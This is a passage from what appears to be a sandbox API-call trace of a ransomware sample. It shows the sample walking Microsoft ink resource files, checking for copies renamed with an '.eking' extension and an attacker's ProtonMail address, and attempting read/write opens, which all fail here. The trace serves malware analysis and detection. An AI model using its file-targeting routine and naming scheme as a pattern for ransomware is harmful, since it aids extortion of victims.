"c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0268.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0268.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.198] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.198] CloseHandle (hObject=0x100) returned 1 [0268.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0268.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0268.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.199] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.199] CloseHandle (hObject=0x100) returned 1 [0268.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0268.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0268.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.201] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=89600) returned 1 [0268.201] CloseHandle (hObject=0x100) returned 1 [0268.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0268.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0268.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.203] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=31744) returned 1 [0268.203] CloseHandle (hObject=0x100) returned 1 [0268.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0268.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0268.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.204] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=33280) returned 1 [0268.204] CloseHandle (hObject=0x100) returned 1 [0268.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0268.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0268.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.205] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=62976) returned 1 [0268.205] CloseHandle (hObject=0x100) returned 1 [0268.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0268.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0268.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.206] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=197120) returned 1 [0268.206] CloseHandle (hObject=0x100) returned 1 [0268.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0268.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0268.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.208] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=224256) returned 1 [0268.208] CloseHandle (hObject=0x100) returned 1 [0268.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0268.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0268.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.209] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=8704) returned 1 [0268.209] CloseHandle (hObject=0x100) returned 1 [0268.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0268.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0268.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.210] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4608) returned 1 [0268.210] CloseHandle (hObject=0x100) returned 1 [0268.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0268.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0268.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.212] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=9216) returned 1 [0268.212] CloseHandle (hObject=0x100) returned 1 [0268.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0268.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui")) returned 0x20 [0268.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.213] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2560) returned 1 [0268.213] CloseHandle (hObject=0x100) returned 1 [0268.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0268.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0268.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.214] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=22528) returned 1 [0268.215] CloseHandle (hObject=0x100) returned 1 [0268.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0268.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0268.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.216] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2560) returned 1 [0268.216] CloseHandle (hObject=0x100) returned 1 [0268.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0268.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0268.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.217] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=222208) returned 1 [0268.217] CloseHandle (hObject=0x100) returned 1 [0268.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0268.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0268.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), 